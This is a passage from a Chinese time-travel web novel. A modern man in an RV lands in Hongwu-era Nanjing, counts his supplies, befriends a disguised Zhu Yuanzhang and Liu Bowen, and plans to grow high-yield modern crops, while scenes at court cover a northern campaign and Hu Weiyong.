“伯温……早年我给你爵位,给你官位,你都固辞不受,你以为我没看出来么,不就是为了一个清名么?怎么这突然连骂名都不怕背了?” 朱元璋还是有些讥讽,却也有些欣慰。 他知道刘伯温是真心实意为民为国的,不然也不会如此重用他了。 “我这把年纪了,就如那小子说的,沽名又有何用。”刘伯温还在作揖。 其实最触动他的是,朱安宁将他与诸葛亮相较。 自己活了七十来岁,名与利都够了,如果还纠结这些东西,那实在是对不起人家的评价了。 “上位,那,那小子的户帖?” “一个小户帖,我们出面去帮他反而不妥,我让标儿找个户部司务找个理由安排下就行,明天就能办妥。” 两人边走边说,很快就来到了城门附近。 “对了,我的酒。”朱元璋突然想起了什么似的,突然瞄向了刘伯温拎着的那两瓶茅台。 刘伯温则笑呵呵地把两瓶都递了给他,作为人臣,他可是懂规矩的。 只是没想到,朱元璋打开盒子看了看,又把其中一瓶丢回了给刘伯温。 “这瓶开过的给你,我可不贪你的酒。” “那臣就谢过上位了。”刘伯温没有推托,他接过那瓶开过的酒,也是乐不可支,这好酒谁不喜欢。 “谢我干嘛,谢安宁小弟去,对了,伯温,你说这年轻人值不值得栽培下?我觉得就他的精气神和谈吐,比朝中那些老家伙们家里的后辈们要好多了,又去过西域,有见识有见地。” 朱元璋摸了摸胡子,若有所思。 —————————————————————————————— 送走两人的朱安宁,终是松了口气。 然后苦笑了起来。 “明朝啊……真的是明朝啊!洪武开局虽然有点吓人,但是也比朱祁镇那个叩门时代或者朱由检的歪脖子树时代好了……既来之,也只能安之了,如果能通过刚才那两个阿伯,在这里想定居下来也不错。城里的那些破事,暂时还是摸清楚再说吧……” 一边碎碎念,朱安宁一边开始收拾锅碗。 因为就是简单的麻辣烫而已,收拾起来不过十几分钟。 扫视了一圈四周,天色渐暗,远处炊烟袅袅…… 而更远的地方,没有高楼大厦,也没有灯光……这就是古代。 “赶紧盘点下物资!” 他开始打开车外侧的一个又一个储物箱,然后又回到了车上开始盘点。 耗时并不会很长。 而窗外,天色已经暗得越来越快。 他连忙拉起了遮光帘,把窗户全部关紧,然后又仔细检查好了隔断驾驶室的帘子是否漏光。 做完这些,他还不放下地下车看了一圈,确认了,他这车确实是融于黑暗中后,终是又松了口气。 坐在房车生活区的椅子上,朱安宁揉了揉自己的太阳穴。 开始罗列现在的情况。 “首先电的话,房车太阳能板是加装到了1000W的,维持正常用电绰绰有余。18度的电池就算连续几天阴天,只要自己不乱用,没有断电的风险。” “第二,粮食的话,红烧牛肉面一箱24包,合味道big桶混合味道一箱15杯,米也还有10KG,薯片三包……新鲜菜还有土豆玉米辣椒番薯……火锅底料……” “药倒是带得齐全,各种抗生素,感冒药,退烧药,救心丸一应俱全,健胃消食片都带了几包……” …… 他一点一点把自己的物资写到了纸上。 “茅子10支,华子还有两条,我靠我居然还备了华子,我都忘了……应该是准备用来路上派的。” “啤酒还有33罐,可乐倒是还有48支……” “手机也还能用,就是没有信号,对了,我笔记本!” 他攀到了额头床那里,拿出了thinkpad电脑包。 “能开机,系统也能正常用……就是没网络……不过大部分东西我都是下到机械硬盘里的……就是不知道那些乱七八糟的杂书和资料未来有没有用……” “幸好这房车是货车底盘,塞了足够多的东西……要是空车过来,那真就是和荒野求生没区别了……可不能学德爷啊,开局饿三天可不好玩。” 清点完一轮,他脑瓜子还是有点嗡嗡的。 无他,这些东西,都是准备来旅行用的,结果现在,变成了明朝求生,这就很搞笑了。 他无法确定哪些东西价值更大。 现代价值和明朝价格可不一定对等。 “哎先这样吧,明天一早,趁着没人,看看能不能往里面树林挪点位置,这里还是太显眼了。” 第七章 苟着,最重要 房车里有辆小的折叠自行车。 朱安宁正蹬着它,沿着无人的小路,探寻着,直到,他看到了远处的城池。 南京城。 确定了方向的朱安宁速度并不慢,他很快就靠到了距离城门不远的草丛边上。 “我草啊,真的是穿越了啊。”把车隐藏在草丛里,锁好车的朱安宁,看着远处那人群络绎不绝的主干道,和城门处的卫兵,终于又一次确认了自己穿越的事实。 “穿越了却没有金手指,哎……”然后,他又忍不住吐槽了一遍。 昨天,他已经把房车检查了一遍,确定这就是他买的普通房车。 然后洗澡的时候,又自摸了一遍,确定,没有系统附身,也没有获得什么无限超级空间和无限物资…… 唯一庆幸的是,没有天崩开局。 他昨夜已经想清楚了。 这里可不是和谐社会,虽然告别了现代社会有点痛苦,但是目前来看,首要任务是苟着……苟着才有未来。 他在想看看能不能用车里的物资,更换点明朝的钱银,然后想办法搞点田地,当个小地主好过。 当官或者左右明朝走向,抵达自己人生巅峰什么之类的事情,他暂时是不敢想的。 毕竟,洪武后期,朝堂被杀空可是史实……暂时没必要去挑战极限,或者去挑战朱八八同志的屠刀…… 确定了穿越事实的朱安宁,没有在小路上停留太久,毕竟他现在的着装还是很扎眼的,他悄悄地又从草从里拖出自己的自行车,沿着无人的小路,往回骑。 不同于来时,相对熟悉了下道路的他,开始观察道路旁的农田。 “都是粮食作物啊……哎,明初就算低赋税,农民依旧是难啊,能吃饱饭就算不错了吧,骑那么久,一片菜地都没看到,全是种粮的。”朱安宁不免感叹了几句。 他大学本科是环境生态工程,虽然学得不咋地……但是还是科科勉强及格的。 一些基础的东西,学习也带他们实地去看过。 所以他还不至于五谷不分。 “对了,粮食!我草!”前一秒还在感叹农民不易的朱安宁,突然爆出了粗鄙之语。 “我车里有番薯啊!!!”他惊叫出声,幸好附近没人,不然肯定觉得这年轻人癫了罢。 朱安宁清楚地记得书本里学过的,关于作物的一些小知识。 现代番薯,亩产6000-10000斤…… 这是什么概念!!! 如果用上了正确的高产品种,就算自己种植技术不过关,那打个折3000斤,也是明朝 主要作物亩产的10倍了啊! 10倍啊! 朱安宁的心跳加速了不少,如果明朝初期,就能获得10倍口粮的粮食加成,他都不敢想这个国家的战斗力会强成什么样,怕不是奥斯土鸡什么的君士坦丁堡都得改改名了。 一念至此,年轻人热血沸腾。 大概是姓朱的缘故,其实他很喜欢明朝,但是他也觉得明朝是个很遗憾的朝代。 现在,自己似乎有能力也有机会去弥补这些遗憾了啊! 这对一个历史小说热爱者而言,是多么具有吸引力的事情。 激动的朱安宁,蹬车瞪得车轱辘都要转飞起来。 气喘吁吁的他,快速回到了房车里。 然后打开了车门。 “不止是番薯,现代选育的马铃薯的亩产就算稀烂1500斤也是有的!” 他激动地拿出了那昨天买的番薯和马铃薯,大笑了起来。 然后…… 然后笑容很快就消失了。 有两个很现实的问题需要解决…… 去哪里种? 怎么推广到全国? “我靠,不说怎么把东西带给朱元璋,就算献宝有功,未来被嘎掉的概率也是很高的啊……” 朱安宁,一想到明初那几大案,还有牵连的人数,以及马皇后死后,朱标死后,朱元璋的暴虐,多少有点发憷。 只能,颓然地坐在了房车里,叹了口气。 —————————————————— “都尉那群人有没查出什么东西?” 宽敞的大殿上,皇帝着装的朱元璋,正在对着一个与他很是相像,却又年轻许多的人说着话。 亲军都尉府,明初的重要官署,后改制为现代耳熟能详的的锦衣卫。 说白了,就是现在的亲军都尉府就是锦衣卫的前身,虽然职位不高,但是确是实实在在帮他老朱办事的亲卫。 “父皇,根据回报,那朱安宁查无此人,问询了京城附近几个要道的人,也都说没看到过什么巨物马车经过……结论是,那朱安宁好像就是凭空出现的那般。” “嗯……”朱元璋沉吟了片刻,最终却也笑了起来。 “那不必查了,一个称自己是西域回来的,有见识有见地,还能拿出各种稀罕玩意的年轻人,只要还心向我大明,那他就是我的臣民,标儿,你去帮他弄个郊外小田庄的民贴吧,此事弄得隐秘些。” “父皇,我懂。”朱标,应承了他父亲的命令,但是却依旧有点莫名其妙,他只知道昨晚朱元璋回来后,便抽调了几个都尉府的人去调查某些事情,然后便是把自己召了过来。 这朱安宁谁啊…… 朱标懂得隐秘些是什么意思,但是他却也不知道干嘛要隐秘…… “对了,北伐一事,可以开始起草计划了。”朱元璋又补了一句。 “什么?!”这是朱标也顾不上什么礼仪了,他一个跨步走到了朱元璋面前:“父皇,朝堂上还是有反对声浪的啊,这一次又一次地北征,民间也已经有些不好的声音了。” “我知道,这些我都知道。” “知道您还……” 朱标是有些急了。 他不像朱元璋,朱标本来就是更偏向文臣看法的人,明初的财政也好民生状况也好,他是了解的,第三次北征,如果和第二次一样潦草,那民间的骂声,可就不是一般大了啊。 “宜将剩勇追穷寇,不可沽名学霸王!” 朱元璋精芒一闪。 “标儿,一时的骂名并不可怕,若是因为畏惧这个畏惧那个,最后落得个西楚霸王的下场,这才是最蠢的,知道么?这几天,诚意伯应该会上书再提这件事情的了,明年年初,必须北伐,不可以给元贼喘息的机会!” 第八章 再访驻车地 朱元璋在那恼火地批着奏折,明明前几年已经揍过茹太素一顿,那些喋喋不休的废话公文已经少了许多,但是最近那些文官又开始整活了。 动辄七八千那是不敢了,但是一两千字他们还是有胆子的。 妈的,这群狗文官是不是就是想搞我朱重八。 明明几百字就能说完的事情在那水个不停,真想砍了这群水字数还晦涩难懂的鸟人。 一天几百份折子,老朱也是很累的好么。 看得头晕眼花的朱元璋,终于是忍不住叹了口气。 “算了算了,先让诚意伯进来吧。” 他挥手示意陪侍去叫那在殿外已经等了许久的刘伯温。 关于北伐,兹事体大,本来应该是要把更多明初的核心人物叫来商量的。 只是,此事现在还未最终在朝堂上敲定,所以也只是叫那刘伯温过来,先定一定他上折子的细节,两人好打配合。 “臣,见过陛下。” 不消多久,刘伯温便走进了殿内。 “无需多礼,伯温,你是知道我叫你来干嘛。” “北伐之事,应当要正式提上日程了。” “嗯,我已和标儿商量过。”朱元璋给了个眼神,没有更多的言语。 刘伯温自然也是知晓了,明日上朝,是时候上奏折。 “此事我暂未知会韩国公。”朱元璋又补了一句。 意思很明白,你诚意伯是浙东的人,明天大概率,淮西的人还是会跳出来叽叽歪歪的。 “臣早已准备好了。”刘伯温久经官场,自然也是知道有些事情是躲不过去,况且他这种级别的文人士官,又怎么会怕打嘴炮呢? 只要是朱元璋态度上是支持自己的,那本身就是立于不败之地了啊。 看见刘伯温这番样子。 朱元璋也是满意地点了点头。 两人围绕着一些小细节开始讨论。 第三次北征的序幕,就在这小小的殿里,缓缓被拉开。 直到快要午时时,两人才惊觉有些肚饿。 “陛下,午膳已经备好了。”有太监上前轻声说了句。 “伯温,一起吃吧。”朱元璋看了眼殿门方向,也是知道已经正午。 他再朱扒皮,也不至于拉着刘伯温无限制地加班。 “谢过陛下。”刘伯温也没有扭捏。 两人一同开始用膳。 朱元璋可不是什么极尽奢侈的皇帝,相反,他相当节俭。 所以午膳也不过是些正常菜色,充其量就是厨子手艺好而已。 两人吃了片刻。 忽然一同笑了起来。 “还是昨日的麻辣烫有味道。” 朱元璋笑着说,没错,他就是馋了…… 现代科技的辛辣爽快,对第一次接触它的人来说,肯定是会上瘾的。 更何况方才批折子批得头晕眼花,正好想到那爽辣的通透感觉,当真是食髓知味。 “午后,去一趟安宁小弟那儿吧,顺便把户帖给他,咱也是拿了人家好处的,总不能不干事吧。”朱元璋放下筷子,作出了安排。 其实,两人也依旧是对朱安宁有些好奇。 只是昨日天色已晚。 那今日,是可以再探一番的了。 —————————————— 河边驻地。 朱安宁花了不少时间去找寻新的停车位。 结论是…… 这里反而是最安全的。 河道拐角的位置,又有树林遮挡,且是一条看起来荒废已久的土路。 所以,他最终决定不动这车先。 已经确定过这边人迹罕至的朱安宁,索性大大方方地打开了车的遮阳棚。 把户外桌椅都架了起来。 开始做起了午饭。 独自一人在社会摸爬滚打那么些年,他的手艺可不算差。 饭食最能抚慰人心,在吃这方面,朱安宁从来不会亏待自己。 由于不舍得用瓦斯炉,他翻出了柴火炉,在附近拾了些树枝,麻利地开始点火做饭。 肉片在一边已经腌了足够的时间,他又拿出了两根青尖椒。 然后仔细地把青椒籽弄了出来,收集到了一边。 他已经想好了,等不及的东西,就先在这附近种,大不了未来移植就好。 只是,希望到时能种活…… 一边回忆自己大学学的有关种植的知识,朱安宁一边把锅架到了炉子上。 花生油润锅,几块肥猪肉下锅,慢慢煎出猪油。 然后便是那葱姜蒜和油的碰撞,激发出令人食指大动的锅气。 而后辣椒加入,让辛辣也一同和油气迸发了出来,足够高的油温让青椒表皮开始起变化,待到朱安宁把腌好肉和豆豉一同下锅,那热辣的感觉很快就裹满了薄薄的肉片。 最后的精华,是淋到锅边的酱油。 滋拉的声音在锅中弹跳,油香四溢的辣椒炒肉,就此出锅。 “上米饭!”他愉快地打了个响指。 人在吃饭的时候,心情可不能不好,这是对食物的亵渎。 而,他才满足地扒拉了几口米饭。 两个人影出现了。 “好香!” “这香味!与昨日又有所不同!” 是朱元璋和刘伯温在那惊叹。 倒不是两人没见识。 而是猪油辣椒炝锅配豆豉这种香味,他们真的没闻过啊。 朱安宁看着忽然出现的两人,倒也没有特别慌张。 两人昨晚才吃过一顿麻辣烫,也算是有点点交情了。 “伍爷,季爷,二位用过午饭没?”朱安宁爽朗地笑了笑:“没吃就来吃点?” “呵呵,又赶上了你的饭点。”朱元璋却也没有客气,一屁股坐到了椅子上。 刘伯温看着朱元璋这般直接,也是有些无语。 “对了,安宁小弟,你的户帖。”朱元璋随手把那纸张甩给了朱安宁。 这倒是让朱安宁激动了起来。 自己只是半赌似地拜托了这两大爷,没想到第二天,他们就弄来了这户帖。 这两人的能量,有点强啊! “放心吧,正常渠道给你弄来的,这几年也不是没有流民,只要有担保人,移籍又不是什么大事。”看出到了朱安宁那不淡定的样子,朱元璋觉得有些好笑,于是便解释了两句。 其实朱元璋的话并没有错。 只是,能这么加急弄出来,可就不一般了。 “小弟在此,真的谢谢两位了。”朱安宁也不傻,别人说简单,可能只是别人手段多,换个平常人,可不一定能搞定,所以他依旧是客客气气,该有的礼数一点不差。 说完后,他才接过朱元璋递过来的户帖。 第九章 我想耕田 而此时,刘伯温也没有再在那站着,他也拉了张凳子坐了下来。 朱安宁没有多说什么,回头又添了两副碗筷,摆到了两人面前。 “哎呀,我们用过午餐了。”朱元璋摸了摸肚子,感觉确实有点饱。 “那就吃点菜?”朱安宁呵呵一笑。 这句话出来,两人也不再纠结,倒不如说,他们早就想试试这绿色的新奇菜色了。 “嗯!这也是辛辣的口味,但是比起昨日那麻辣烫要鲜香许多啊!安宁小弟,这也是辣椒么?”朱元璋一口下去,舌头都快要香掉。 刘伯温也是夹了一口,只觉得口舌生香,这辈子哪吃过这般刺激的东西啊。 两人都在等待朱安宁的解答。 “呵呵,伍爷,这也是辣椒,这作物有红椒和绿椒两种,虽都是辛辣,但是还是有差别的,两位觉得我这辣椒炒肉如何啊。” “好吃!这不比光禄寺那群鸟人做得好吃!”朱元璋哈哈大笑起来。 “光禄寺?”朱安宁有点懵逼。 一时没回过味来。 而朱元璋却先一步知道自己失言了,这吃了好吃的,嘴巴就是软,他连忙又找补了一句:“识得些大官,他们都说皇帝大臣那些吃食,当真不能算好吃。” 啊,光禄寺,轮到朱安宁反应过来了,明朝御膳房嘛…… 要比手艺,自己是八辈子赶不上光禄寺专业厨子的。 只是,你再牛逼,也没爷的辣椒刺激啊! 朱安宁在得意之余也隐隐感觉到了,这伍爷应该不简单啊,能攀得上在光禄寺吃饭的大臣。当然,这种事情不能说出来。 “呵呵,这个过了,小弟只是胜在食材而已。” 不过既然知道了这伍爷不简单,那是否可以找他置换点银钱呢…… 毕竟,现在自己可以说是在明朝寸步难行啊。 另外自己的种田大计,好像也可以和这两人商量下。 这两人估计就是这附近村落的大土绅了,不然怎么会认识大臣。 朱安宁依照自己的职场触觉,判断出了一些事情。 可惜的是,有点歪…… “对了,小弟有些事情,想与二位商量下,不知二位能否……” 朱安宁没有继续说下去,他等的是二人的反应。 若是朱元璋和刘伯温露出为难的神色,他会补上说是自己唐突了。 刘伯温依旧是昨晚的态度。 他决定不了什么,所以索性继续吃那好吃到极点的辣椒炒肉。 朱安宁也总算是看出来了,这两大爷,真正有话事权的是伍爷。 而那朱元璋却也没马上回答,他也是和刘伯温一般吃多了一口菜,才开了口。 “小弟但说无妨。” 朱元璋的回答,让朱安宁长长地舒了口气。 房车虽好,坐吃山空啊……他还是有点物资焦虑的。 “伍爷,季爷,是这样的,我这边有不少西域之外那极西之地的稀罕吃食,比如这辣椒,还有昨日的啤酒和茅台,我想置换点钱银,不知二位有无相熟之人需要。对了,若是能置换到钱银,咱们五五分成。” 朱安宁说得波澜不惊。 朱元璋和刘伯温却是相当意外。 “五五分?安宁小哥,帮你卖点物件,我们就拿五成啊?”刘伯温捋了捋自己的胡子,调笑般开了口。 朱元璋也是饶有兴致地看着眼前的年轻人。 在他们眼中,这些稀罕吃食,大概是朱安宁千辛万苦带回来南京这边的,结果自己两人帮帮忙就能分五成,这般大方,可非同一般呐。 见两人只是惊讶自己的五五分成,朱安宁知道这事大概是成了。 “呵呵,货物就算再昂贵,没有卖的渠道,那也是白搭,渠道也是可以估价的,小弟觉得二位的渠道,绝对值这五成的价值,做生意嘛,不舍哪来的得,有舍有得嘛。” 朱安宁言毕,朱元璋就哈哈大笑了起来。 “好一个有舍有得,你想卖什么,最近咱确实也是闷了,就帮帮你吧。” 他催促朱安宁赶紧把东西拿出来。 “我这还有两瓶茅台,二位估价帮我卖掉就行。”朱安宁则不紧不慢地从侧储物柜里掏出了两瓶酒。 “我们估?” “对,全凭二位定夺。”朱安宁做了个请的姿势。 这下轮到朱元璋和刘伯温懵逼了。 这小子真是赤诚啊,这么相信人。 “你就不怕我们卖个几十两然后只回你二三两银子就把你打发掉?”刘伯温终于还是忍不住,开了口,他看向了朱安宁,只觉得确实不可思议。 “以二位的为人,断然不会做这蝇营狗苟之事。” 朱安宁说得相当淡定。 实际上……他也只能淡定。 不然能怎样,这可是洪武时代的明朝,自己一个现代辞职社畜在这里人生地不熟,就只认识你们两老头啊。 朱元璋刘伯温二人自然是不知道朱安宁的心理活动。 只道是这年轻人果然特别,有意思。 “行,那这两瓶200两,咱要了,也别便宜别人了,你看怎样?”朱元璋沉思了片刻,然后开了口。 “啊?伍爷您自己全要了?而且200两?!” “怎么,便宜了?” “不是不是……200两啊……” 这下轮到朱安宁不淡定了,200两,这可是银子啊,明初的田价他以前闲来无事搜过,也就大概一两一亩,这一下两百亩地,那妥妥可以当地主安稳下来了啊!” 见到朱安宁惊跳起来的样子。 朱元璋也笑了起来,这小子两天来都老成到不行的样子,这下总算是看到他失态了。 “伍爷,您说您是住这附近的,能否把其中的部分钱银置换成田地?” “你不是行商么,要田地干嘛,当地主?” 朱元璋继续调笑了两声,连刘伯温都笑了起来。 要地这种事情,明初其实不算什么大事。 明朝刚建立到现在才10余年,人口还未爆发式增长,所以田地还算富裕,所以价格并不高,待到明中期,人口多了,土地才变得值钱。 朱元璋可是明朝最大的地主,他并不介意划拉点田地给眼前的年轻人。 “地的话,不需要太多,我想置换点来自己耕种而已。” 第十章 10石之数 朱安宁说的是实话,毕竟实验田这种东西,他是不太信任佃农的,他带过来的能种下去的东西也就那么点,万一出了幺儿子,这不就白穿越了么! 这明朝的佃农100%不会种番薯和马铃薯,他想着自己先试着耕种,穿越前好歹学校里耕过实验田,不至于说是完全新手。 反正得自己实验一下是否可行,然后有机会再培训佃农就好。 另一边,他也想过要不要瞒着这两个大爷,毕竟这不是什么小事,如果他种成了,一定会掀起轩然大波的。 只是现在来看,那伍爷大概率是认识朝中大臣的。 那就变相解决了他的另外一个问题。 如何把这番薯等新作物,给到朱元璋手上…… 对于在明洪武做官,他是毫无想法的。 现代的论坛说得已经和明确了,洪武的官,狗都不做,洪武后期群臣带着物理上的镣铐上班,可不是开玩笑的…… 但是,不做官不代表他不想改变历史啊。 如果自己房车带过来的这些东西,能让明朝的历史走向不再那么遗憾,他是非常愿意试一把的。 未来种成了,让别人献上去,自己收点富贵,也不错啊。 听着朱安宁的想法,朱元璋刘伯温都有些无语。 “啊?自己耕种?” 两人有种,自己是不是被辣傻了的错觉,亦或是这个年轻人脑子有包。 一个即将拥有两百两银子的年轻人,准备买田来自己耕种,他是觉得耕田很好玩? “不瞒二位,我这,有某地的新粮食作物,味佳,产量还不错,我想自己试种一番,看看能不能适应咱们这般的水土。” “新粮食?” 两人同时放下了筷子,看向了朱安宁。 民以食为天,他们清楚这代表了什么。 “味道先不说,产量大概多少?”朱元璋直接发问。 朱安宁知道,未来开始耕种,肯定是瞒不过周围的,他思考了片刻,把真实产量一压再压。 “大概10石左右吧。” “多少?!” 哗啦。 一下站起身来的朱元璋,比刚才听见200两就跳起来的朱安宁,要失态得多得多。 10石,接近1000斤,这对种过田的老农朱八八来说,是足以头晕目眩的数字。 如果当年有这般逆天的作物,他们怎么会饿死那么多人。 元朝末期到现在明朝初期,田地的亩产,也就2石多点。 “10石???!!!”刘伯温也拍了拍桌子。 两人身后的折叠椅,都摔落在了地上。 我靠,反应这么大?要是报真实数据60-100石,6000-10000斤的亩产……这两大爷不得心肌梗死啊。 朱安宁正在庆幸自己,往小里报了N倍…… “你可知道自己在说什么?!”朱元璋目光如炬,死死地盯住了朱安宁。 10石啊!1石粮大概够一个人吃一个月,10石!!!接近吃一年了。 换言之几亩地就能富余地养活一家人。 这是什么神仙作物?! 也不怪朱元璋这么失态,他是真正在饿死边缘挣扎过的人,抢老鼠存量煮腊八粥吃的悲惨往事,他是一直记在心里的。 “伍老伍老,季老您也是,先坐下先坐下,我这作物,这不是还未在咱们这里试种过么……还是等您这边给我置换到了土地,到时我种出结果了,您再托人帮我带到宫里?” 朱安宁连忙跑过去帮他们扶起那跌落的凳子。 他知道10石对古人的冲击力很大。 但是没想到这么大…… 只是可惜了,没能把袁老的杂交稻带过来,那才是适合中国宝宝体质的优秀粮食。 番薯之类的东西,营养价值还是无法和稻米匹敌,而且吃多了……肠胃闹腾啊。 朱元璋和刘伯温对视了一眼。 都看到了对方眼中的震撼。 至于朱安宁说的话语,坐下的朱元璋好一会才反应过来。 “托人带到宫里?” 他反问道:“种出来你为什么不自己揭皇榜献上去?” 朱元璋眉头皱了起来,只觉得朱安宁做法有些多余。 皇榜是洪武早年就设置好的东西,就是为了察民情。 这事民间人人皆知。 但是,对朱安宁而言……揭皇榜献礼?赶上四大案的任意一个,欢声笑语中打出GG是吧。 朱安宁有点想翻白眼。 不过他也不能直接和人家说老朱晚年嗜杀吧,毕竟现在的朱八八还算是正常的。 斟酌了下词语,朱安宁才开了口:“伍爷,我只是小小行商,如果这新作物能够帮到咱们大明,那是我是福分。但是要我直面洪武帝,咱胆小,还是算了吧,哈哈。” “你怕个甚,洪武还能杀了你不成?” 诶?你怎么知道?! 朱安宁撇了撇嘴:“洪武帝英明神武,是小子的问题,小子打小没怎么正经上过学堂,都是自己瞎学,就怕在洪武帝面前说错话,那就不美了。” “洪武也不是什么文绉绉的文人,他才不管这些。”朱元璋一副很无语的样子,而且能说出宜将剩勇追穷寇,不可沽名学霸王的人……不比那些腐儒高多了! 如果朱安宁的话属实,那真是大功一件,按照朱元璋的想法,有功之人,他肯定是想要赏点官职给朱安宁的。 “哎呀伍爷,这才哪到哪,你就等我种出来再说吧,说不定这作物,不适合咱们这里呢?” 看见朱元璋那较真的样子,朱安宁连忙打了个哈哈,当官这种事情,还是不要讨论为妙。 如果可以的话,他不想参与到任何一桩大案里…… “也是。”此时的朱元璋和刘伯温也冷静了下来。 确实,作物还未确定产量,还是得等种出来才好确认。 朱元璋瞄了一眼刘伯温,忽然又开了口:“老季,我记得你庄里有几块还没怎么开垦的地对吧,我那边的地都有佃农了,不好让人家挪,要不,你弄点地给安宁小弟?” 刘伯温也一下就反应了过来。 这田,可不是随便找两块地就能种的。 或者说,如果那作物真的能亩产10石,那可比现在手头上任何事情都重要,这是荫及后世无数代的大事。 “嗯,伍爷,我这边的田地应该更适合安宁小弟,您看就这附近的地如何,人也不多,位置也好。”刘伯温顿了顿,又转头对朱安宁说道:“安宁小弟,我知道你想先试种,但是一个人侍弄几块地,也是很累人的,我家里边有几个非常熟悉的佃农,你看要不要转到你地里,你调教一下不比自己天天面对黄土背朝天好?” 第十一章 纵情山水二愣子 朱元璋只是提了提,刘伯温就知道了,这佃农是得好好帮朱安宁选的了。 用附近这几块地也不是他刘伯温信口胡说。 这小田庄本就是他的禄田,附近这几块地确实又还未开垦到,位置隐蔽。用来做实验田,再好不过。 “有熟悉的佃农?季老,再熟悉也不太好吧。”朱安宁犹豫再三,还是想拒绝。 他们只觉得朱安宁想拒绝是怕有人抢他功劳。 只是现在这事太大了,大到无论如何,他们都必须要派驻点人来看管。 而朱安宁不知道他两的身份,现在反而是好事。 在有产出之前,越少人知道越好。 特别是外敌还未完全肃清,边疆又山头林立的当下。 “你是怕别人抢走你功劳?”刘伯温微笑着,刚想说些安抚朱安宁的话语。 却没想到朱安宁摆了摆手:“我怕那些佃农种死我的作物……” 这下反倒是把朱元璋给逗乐了:“你这作物很难种?” “倒也不是,我寻到的作物,在当地还是很好伺候的,主要是佃农们都没种过啊,除非季老您那边的佃农确定是愿意听我话的,就怕一些佃户说一套做一套,不按我的说法来,我又没办法时时刻刻盯着他们,万一糟蹋了我为数不多的种子,那就完蛋了啊。” 朱安宁细细地给两人解释了一番,说的都是心里话。 他是真不放心。 明朝逆天改命的机会说不定就在他手上了啊。 见朱安宁认真的表情。 朱元璋也开始沉思了起来。 确实如此,佃户大部分都是些不识字的大老粗,万一真来两个犟脾气的,坏了大事就不妙了。 朱安宁担心的事情并非说不会发生。 “行,那也别找佃户了。老季,你家里那两孙子不是说学堂无趣,天天说要纵情山水之乐么,这样,学堂也别去了,打发他们来和安宁小弟耕种?跟田地乐一乐怎么样?”过了半晌,朱元璋开了口,对着刘伯温。 “我那两孙子?”刘伯温知道朱元璋说的是他的孙子刘畾,和刘廌,不由得苦笑了起来。 他的两儿子不说全部继承了他的谋略和才气,但是性格起码是像他一般谨慎细微的。 但是这两孙子,多少就有点离经叛道了。 才气,他们是有的,不仅有,那是多多的有,但是就是整日嘴上念叨什么纵情山水之类的话,说就算了……他们还真实践了。 在文华堂实践的。 而文华堂,是老朱继大本堂之后,用来教育皇子们的地方…… 这两人前些日子说什么要游历大好河山,然后不知道用什么法子,说动了朱橚,三个二愣子找了个空闲时间,偷溜跑到了紫金山沟沟那去了…… 结果是,没跑出几里地,就被朱标带人抓了回来…… 趁朱八八把那两人揍死之前,刘伯温先禁了他们的足,直到现在。 能够参与到这件大事里,刘伯温知道那是他孙子的福分,而且他也听出了朱元璋对那件事情似乎是消气了。 只是,能参与不代表能做好啊…… 刘伯温心里知道,他那两个孙子,心里傲得很,就是因为谁都不服,才会说些什么寄情山水之类不着调的话。 而现在,朱元璋开了口,他能拒绝? 回家得好好敲打一下两小孩,让他们好好听话,别到时惹出什么事来。 “哎,那依伍爷的意见,就不去学堂了吧,我放他们出来,接下来的日子就跟着安宁小弟好好耕下田。” “呵,好好敲打一下你孙子们吧。” 两人你一句我一句的,也没管朱安宁是否答应。 这件事情好像就这么定下来了。 我靠,不是塞了两个不学无术的二世祖给我吧。 明朝当古惑仔可不是什么好选择啊,那是南北朝嗑药时代的特殊转职,在洪武朝很容易就直接转生的…… 朱安宁多少有些无语,却也知道,现在是没办法拒绝的了。 毕竟,连接下来他要用的地,都是人家季大爷给的。 反正,就是空降两个高管亲戚,等到明年春天种出成果来,好让他们也拿点功劳之类的意思? 献新作物这件事情,如果朱元璋不是白痴,他一定会重重有赏的。 那现在这两大爷,表现得这么积极,还非要在自己的田里种,且还要家人来帮忙,也就说得过去了。 朱安宁按照穿越前的职场套路,梳理出了,一套,他觉得合理的逻辑。 那感情好,最好拿多点功劳,你升官来我发财。到时给我申请个无职无权的小爵位加点钱粮,那自己的明朝快乐生活不就可以开始了吗。 于是,想通了的朱安宁也笑了起来。 这是双赢啊!!!大家都有美好的未来!!! “那就麻烦伍老帮忙置换这两瓶酒,也麻烦季老这边出田出力咯。”他作了个揖,笑得像个小狐狸似的。 而此时的朱元璋和刘伯温还在心里盘算着,这新作物成功的话,未来的一些政策方向需不需要调整之类的事情,根本没空看朱安宁,便也随口应了声。 “小意思小意思。” 两人挥了挥手,就准备要离开这驻地,当然,离开前,朱元璋并没有忘记那两瓶茅台。 关于亩产10石的主粮,他们有太多东西要商量。 而这些东西,是不能在朱安宁面前说的。 看着欲离开的二人,朱安宁也并未挽留。 他只当他们是回去准备卖他的酒,和准备土地地契一类的事情。 呼,这两大爷倒是挺有能耐啊。 不仅一下子就能认识到主粮的重要意义。 好像还很有渠道的样子。 甚至还懂得派点自己人过来分功劳。 谁说古代人没有职场素养,没有职场智商。 这两老头很不得了啊。 怎么看都不像是寻常的乡野老头。 怕不是什么大臣的亲戚一类。 一念至此,朱安宁又有些担忧了起来。 我靠,明朝的大臣基本都是短命种,这未来什么诛九族诛十族,自己不会被归到里面吧?! 不行,下次等两老头过来,得给他们微微透露点胡惟庸未来的下场,毕竟现在三人因为这种新粮的问题,已经算是绑在一条绳子上的蚂蚱了。 只希望他们不是胡党的亲戚就好…… 是的话,自己马上开车跑路,跑爆胎也要跑路! 朱安宁思索了许久,得出了结论。 然后,又开始了,对辣椒炒肉和米饭的,进攻。 毕竟,想多也无益。 第十二章 给你们一点小小的现代震撼 早朝,刘伯温按之前商量好的节奏,递了折子上去,请求发动第三次北征。 所谓宜将剩勇追穷寇,不可沽名学霸王也被他掏出来小小地震撼了一下朝堂。 只是事情的发展后续有点歪。 刘伯温已经准备好了和淮西派唇枪舌战。 结果浅浅的交锋了一下,大概是觉得怼说出了宜将剩勇追穷寇,不可沽名学霸王刘伯温有点难度,胡惟庸的话锋居然指向了朱元璋。 不外乎什么上次北伐的失败,这次北伐的花销粮草一类的扯皮。 朝堂上不少人,都隐隐感觉到了。 这胡惟庸,似乎已经有点越界了…… 包括,对他有提携之恩的李善长。 当他看到胡惟庸和朱元璋在朝堂上就这么直白地吵起来之后。 他的后背,已经快要湿透。 别的大臣可能对朱元璋了解得不深。 他这个以前专门负责大后方整体的韩国公,可是对朱元璋的性格相当了解的。 